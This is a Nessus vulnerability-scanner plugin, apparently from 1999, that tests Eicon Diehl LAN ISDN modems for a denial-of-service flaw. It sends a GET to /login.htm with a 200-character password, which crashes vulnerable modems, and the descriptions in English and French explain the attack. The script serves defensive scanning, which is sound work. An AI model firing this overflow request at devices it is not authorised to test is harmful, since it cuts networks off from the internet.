# # This script was written by Renaud Deraison # # See the Nessus Scripts License for details # if(description) { script_id(10062); script_version ("$Revision$"); script_bugtraq_id(665); script_cve_id("CAN-1999-1533"); name["english"] = "Eicon Diehl LAN ISDN modem DoS"; name["francais"] = "Déni de service contre les modems Eicon Diehl"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " It was possible to crash the remote modem by telnetting to it on port 80 and by making the following request : GET /login.htm?password=AA[...]AAA To reactivate your modem, just reset it. An attacker can use this to prevent your network from connecting onto the internet. Solution : change your ISDN modem. Risk factor : High"; desc["francais"] = " Il s'est avéré possible de faire planter le modem distant en s'y connectant au port 80 et en faisant la requete : GET /login.htm?password=AA[...]AAA Pour le réactiver, faites un reset de votre modem. Un pirate peut utiliser ce problème pour empecher votre réseau de se raccorder à internet. Solution : changez de modem. Facteur de risque : Elevé"; script_description(english:desc["english"], francais:desc["francais"]); summary["english"] = "overflows a remote buffer"; summary["francais"] = "overflow d'un buffer du modem"; script_summary(english:summary["english"], francais:summary["francais"]); script_category(ACT_DENIAL); script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison", francais:"Ce script est Copyright (C) 1999 Renaud Deraison"); family["english"] = "Denial of Service"; family["francais"] = "Déni de service"; script_family(english:family["english"], francais:family["francais"]); script_require_ports("Services/www", 80); script_dependencies("find_service.nes", "no404.nasl"); exit(0); } # # The script code starts here # include("http_func.inc"); port = get_kb_item("Services/www"); if(!port)port = 80; if(get_port_state(port)) { if(http_is_dead(port:port))exit(0); soc = http_open_socket(port); if(soc) { req = string("/login.htm?password=", crap(200)); req = http_get(item:req, port:port); send(socket:soc, data:req); r = http_recv(socket:soc); http_close_socket(soc); if(http_is_dead(port:port))security_hole(port); } }